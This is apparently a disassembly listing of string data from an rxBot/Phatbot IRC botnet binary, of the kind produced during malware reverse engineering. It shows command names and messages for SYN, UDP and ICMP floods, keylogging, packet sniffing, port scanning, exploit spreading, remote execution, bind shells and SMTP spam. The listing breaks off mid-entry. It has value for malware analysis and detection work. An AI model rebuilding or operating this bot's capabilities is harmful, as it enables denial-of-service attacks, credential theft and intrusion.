unk_42A7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7F4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A82C db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A880 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8B8 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A900 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A938 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A970 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; ___:00437C48o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 10h aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 10h aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB3C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 10h unk_42ABC0 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 10h aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C78o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 10h aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o ; ___:00437C30o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 10h aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C88o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo ; ___:00437C4Co unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD6C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 10h unk_42ADE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 10h aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE48 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE68 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 4 unk_42AE94 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AED0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AF0C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 10h dword_42AF30 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 10h dword_42AF50 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF7C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AFC8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFE8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B054 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B080 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B0A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B118 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B154 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B184 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B1AC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1D8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B214 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42B250 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42B280 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C7Co unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 10h aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 10h aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 10h aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 10h aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C64o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C84o unicode 0, <n>,0 unk_42B380 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3E0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3F8 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B410 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B458 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B480 dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B484 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B490 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B498 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 10h aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 10h aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B508 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B51C dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B520 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B530 dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B534 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B538 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 10h unk_42B5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42B5E0 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B618 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42B644 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 4 unk_42B684 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B6C0 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6EC db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B718 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B728 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7D8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42B814 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B848 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B888 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42B8B4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42B8F0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B918 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B928 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B934 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B944 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B988 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42BA04 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA58 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA78 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA7C dd 